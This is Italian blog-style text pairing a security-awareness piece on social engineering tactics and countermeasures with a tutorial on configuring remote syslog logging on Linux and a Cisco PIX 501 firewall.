Altro mito da sfatare: la vostra rete non è tanto sicura quanto più risultano all'avanguardia le tecnologie anti intrusione che state utilizzando. In altri termini il "fattore umano" rappresenta spesso e volentieri il vero punto debole nella politica di sicurezza aziendale. Per dimostrare la mia tesi faccio un aneddoto: supponiamo che il vostro network aziendale sia dotato di firewall di ultima generazione, IDS, IPS, NPS e chi più ne ha più ne metta... c'è un problema però, il numero del centralino è stato pubblicato sul sito Web dell'azienda e quindi è consultabile da tutti. Un bel giorno, il centralino riceve una chiamata da un tizio che si spaccia per un dipendente e che in tal modo riesce ad ottenere informazioni cruciali quali un hostname, un indirizzo IP o addirittura una password specifica. Il giorno dopo, come per magia, documenti classificati come "confidenziali" vengono sottratti dal server di storage, semplicemente utilizzando le informazioni ottenute dal centralinista di turno. Vi sembra esagerato? No, è la pura e semplice realtà dei fatti.

Ma chi potrebbe avere interesse a rubare delle informazioni vitali per l'azienda? Gli ingegneri sociali sono sempre degli individui il cui unico scopo è quello di arrecare danno all'azienda vittima solo per il semplice gusto di farlo?

Diciamo che nella stragrande maggioranza dei casi l'ingegnere sociale è un ex dipendente che cerca vendetta, spesso a causa di un licenziamento che ritiene ingiusto. In altri casi trattasi di spie industriali, il cui scopo è quello di sottrarre informazioni vitali su brevetti hardware o software. Infine vi sono "i curiosi", che giudicano estremamente stimolante la sfida rappresentata dalla possibilità di entrare in possesso di informazioni nascoste al pubblico, quali codici sorgenti, progetti, manuali, e chi più ne ha più ne metta.

Ma quali sono gli approcci utilizzati dagli ingegneri sociali affichè la vittima possa essere tratta in inganno con successo? Facciamo un piccolo elenco:

1) Effettuare diverse telefonate spacciandosi di volta in volta per una persona diversa. In questo modo riesce ad ottenere un duplice risultato: confondere le acque ed ottenere informazioni man mano sempre più utili per giustificare agli occhi della vittima le proprie richieste;

2) Effettuare una serie di domande totalmente inutili in cui camuffare quella veramente importante, in modo da far credere alla vittima che tutte le informazioni che sta fornendo sono completamente prive di importanza;

3) Simulare un guasto e successivamente telefonare alla vittima aiutandola a uscire fuori da tale condizione di disservizio. In questo modo si sviluppa un sentimento di gratitudine che induce a rilevare all'attaccante informazioni aziendali estremamente riservate;

4) Fare in modo che la vittima installi sul proprio PC o su un host sensibile (ad esempio un server), un qualche tipo di software malevolo (trojan, worm, virus, ecc.);

5) Indurre la vittima a faxare su un numero non verificato (ad esempio quello di una copisteria) elenchi di dipendenti o altre informazioni utili per eventuali attacchi successivi più sofisticati;

6) Spacciarsi per un tecnico autorizzato in modo da ottenere password di vitale importanza relative ad apparati di rete o centralini telefonici;

Ora, occorre precisare che gli ingegneri sociali preferiscono sempre interagire con la vittima mediante un apparecchio telefonico, un fax oppure una casella email, tutti strumenti in grado di celarne la vera identità, riducendo notevolmente i rischi di essere riconosciuto ed eventualmente denunciato alle forze dell'ordine. Però, tale approccio non rappresenta sicuramente la regola, infatti, pur di ottenere le informazioni che cerca, l'ingegnere sociale può benissimo presentarsi nella sede dell'azienda (oppure in una delle sedi, nel caso in cui ne abbia più di una) e spacciarsi per questo o quel dirigente, dipendente o fornitore. Ma come fa l'ingegnere sociale ad accedere fisicamente all'interno dei locali dell'azienda senza farsi riconoscere? Esistono diversi metodi:

1) Usare la tecnica del "traino", ovvero seguire dei dipendenti che accedono dai tornelli con il loro badge sfruttando la loro scia;

2) Spacciarsi per un addetto alle pulizie;

3) Spacciarsi per un dipendete che ha dimenticato qualcosa nel suo ufficio, presentandosi in sede oltre l'orario di lavoro e convincendo gli addetti alle pulizie presenti ad aprirgli la porta;

4) Spacciarsi per un uomo d'affari che ha un appuntamento con uno dei dirigenti dell'azienda.

Infine, esiste un altro metodo poco ortodosso per reperire informazioni riservate: rovistare nei bidoni della spazzatura. Tale tecnica prende il nome di trashing e si basa semplicemente sulla cattiva abitudine di gettare nella spazzatura documenti considerati poco importanti, ma che invece rappresentano una preziosissima fonte di informazioni per l'ingegnere sociale. Inutile dire che per evitare situazioni del genere è necessario utilizzare dei tritadocumenti che non si limitino esclusivamente a "tagliuzzare" i fogli, ma che li sminuzzino completamente, riducendoli in una poltiglia inservibile.

Altro concetto da temere sempre in considerazione: l'abito non fa il monaco. Vi sembrerà scontato, eppure richiedere l'identificativo al personale che vedete aggirarsi presso i locali dell'azienda per la prima volta, oppure che non tiene in bella mostra il proprio tesserino di riconoscimento, può ridurre di oltre il 50% il rischio di intrusione. Badate bene però, tale controllo non deve essere delegato solo ed esclusivamente al personale di sorveglianza, ma andrebbe effettuato anche da un qualunque dipendente dell'azienda che si accorge di un'anomalia di questo tipo.

Altri metodi per limitare gli attacchi degli ingegneri sociali sono i seguenti:

1) Nel caso di attacco sferrato mediante telefono, richiedere sempre e comunque il codice identificativo del dipendente. Eventualmente, nel caso in cui la versione del nostro interlocutore non ci sembri trasparente al 100%, riattaccare e chiedere un recapito telefonico su cui richiamarlo (in tal modo si dovrebbe riuscire a capire se chi ci sta chiamando è davvero chi dice di essere);

2) Non identificare il chiamante solo in base al numero visualizzato sul display nel nostro apparecchio telefonico, in quanto tale informazione potrebbe essere facilmente alterata.

3) Non mandare mai dei fax contenenti informazioni più o meno importanti a numeri non verificati. Inoltre, sarebbe opportuno utilizzare un three-way handshake, basato sull'inoltro di un'opportuna copertina "preliminare", prima dell'invio del fax stesso, anche nel caso in cui il numero di destinazione sia verificato;

4) Smistare informazioni sensibili quali password, username et similia soltanto mediante posta interna (e non mezzi insicuri quali posta elettronica non certificata o quant'altro);

5) Catalogare le informazioni in base al loro livello di criticità e quindi di segretezza;

6) Limitare il numero e la qualità delle informazioni sull'azienda pubblicate sul sito Web istituzionale;

7) Non utilizzare password scontate, troppo corte, o per un periodo di tempo troppo lungo. Cambiare sempre e comunque le password di default dei vari dispositivi ed eliminare gli account degli ex dipendenti (oltre a quelli di default);

8) Cifrare sempre il contenuto dei nastri di backup;

9) Utilizzare hostname poco descrittivi e password differenti per ciascun device;

10) Non lasciare mai in bella vista (o in prossimità della postazione di lavoro) le credenziali di accesso al sistema;

11) Nel caso in cui utilizziate una casella vocale, evitate di inserire informazioni sensibili nell'ambito della risposta della segreteria (ad esempio numero di interno, mansione ricoperta, ecc.).

12) distruggere opportunamente tutte le periferiche di archiviazione di massa prima di gettarle via (cancellare un file non vuol dire renderlo per sempre irrecuperabile).

Infine, non vi resta che seguire semplicemente il vostro buon senso.

A presto.

Un'operazione fondamentale nell'ambito dell'amministrazione di rete o di sistema consiste nella raccolta dei log e nella successiva analisi degli stessi.

Ora, tale raccolta può avvenire localmente (ovvero direttamente sui dispositivi di rete interessati) e/o nell'ambito di server dedicati, detti logserver. E' buona pratica, prima di mettere in produzione uno o più di questi server specializzati nella raccolta dei log, effettuare un hardening del sistema, oltre ad adottare politiche di accesso ristretto. Ciò si rende necessario poichè i log devono rimanere intatti e devono essere protetti da eventuali operazioni di tampering (manomissione, alterazione) messe in atto da un possibile attaccante.

Dopo questa breve premessa, vediamo come abilitare il logging remoto su una linux box e come reindirizzare le informazioni registrate dal nostro firewall (nella fattispecie un PIX 501) verso il logserver stesso.

Linux Box

Per prima cosa occorre accedere in scrittura al file syslogd presente nella directory /etc/default:

nightfly@nightbox:~$ sudo nano /etc/default/syslogd

A questo punto dovremmo visualizzare la seguente stringa:

SYSLOGD=""

alla quale dovremo aggiungere le opzioni -r e -m 0:

SYSLOGD="-r -m 0"

Nella fattispecie, -r abilita il logging remoto mentre -m 0 evita di visualizzare ogni tot minuti (20 per default) entry del tipo -- MARK -- (una sorta di keepalive) all'interno del file di log.

Ora accediamo al file /etc/syslog.conf:

nightfly@nightbox:~$ sudo nano /etc/syslog.conf

ed aggiungiamo la seguente stringa:

local4.4 /var/log/pix.log

dove local4 è il nome usato da syslogd (ovvero il demone che effettua le operazioni di logging) per identificare il firewall, mentre il 4 dopo il . indica il livello di logging che deve essere applicato per il dispositivo di rete in questione. In particolare, i livelli di logging utilizzabili sono i senguenti:

0 - Emergency (emerg)
1 - Alerts (alert)
2 - Critical (crit)
3 - Errors (err)
4 - Warnings (warn)
5 - Notification (notice)
6 - Information (info)
7 - Debug (debug)

Maggiore è il livello di logging, più precise saranno le informazioni salvate. Da notare che ad una maggiore precisione corrisponde un maggior numero di dati registrati, con conseguente saturazione dei file di log in tempi piuttosto brevi (ecco perchè nell'esempio ho scelto il livello 4 e non il livello 7).

Per ciò che concerne la stringa:

/var/log/pix.log

essa specifica il file in cui dovranno essere raccolte le informazioni provenienti dal PIX.

Poichè stiamo utilizzando un file dedicato, è inutile salvare tali informazioni anche su /var/log/syslog. Per fare quindi in modo che ciò non avvenga devo aggiungire la stringa:

local4.none

nelle varie sezioni del file syslog.conf. Ad esempio:

*.*;auth,authpriv.none,local4.none -/var/log/syslog

per la sezione dedicata ai tentativi di autenticazione, oppure:

*.=debug; auth,authpriv.none; news.none;mail.none -/var/log/debug local4.none

per la sezione dedicata alle informazioni di livello 7 (debug), e così via.

Per evitare che il file di log dedicato al PIX raggiunga dimensioni eccessive è buona norma attivare il logrotate. Occorre dapprima creare il file pix nella directory /etc/logrotate.d/

nightfly@nightbox:~$ sudo nano /etc/logrotate.d/pix

ed all'interno di tale file aggiungere le seguenti direttive:

/var/log/pix.log {

rotate 7

daily

compress

missingok

notifempty

}

Nella fattispecie, ogni giorno (daily) verrà generato un nuovo file pix.log, archiviando automaticamente il logfile del giorno precedente. Inoltre, la durata degli archivi è pari ad una settimana (rotate 7), dopodichè essi verranno cancellati.

Riavviamo syslogd per rendere effettive le nuove impostazioni:

nightfly@nightbox:~$ sudo /etc/init.d/sysklogd restart

Verifichiamo che il nostro logserver sia effettivamente in ascolto, digitando:

nightfly@nightbox:~$ sudo nmap -sU localhost

Se visualizzeremo il seguente output:

514/udp  open|filtered syslog

significa che la linux box è pronta a ricevere i log provenienti dal PIX.

PIX 501

Non ci resta che abilitare il logging sul PIX, specificando l'indirizzo del logserver:

firewall(config)# logging on
firewall(config)# logging timestamp
firewall(config)# logging trap informational
firewall(config)# logging facility 20
firewall(config)# logging host inside <ip del logserver>

Salviamo le nuove impostazioni mediante il comando

firewall(config)# write mem

ed abbiamo finito. See ya.

Aggiornamento

Se state utilizzando rsyslog anzichè il classico syslog non dovete apportare alcuna modifica al file /etc/default/syslogd, in quanto tale procedura risulta obsoleta. Piuttosto, dovete mettere mano al file /etc/rsyslog.conf:

nightfly@nightbox:~$ sudo nano /etc/rsyslog.conf

ed in seguito decommentare le stringhe:

$ModLoad imudp
$UDPServerRun 514

Riavviate dunque rsyslog digitando:

nightfly@nightbox:~$ sudo service rsyslog restart

ed avete finito.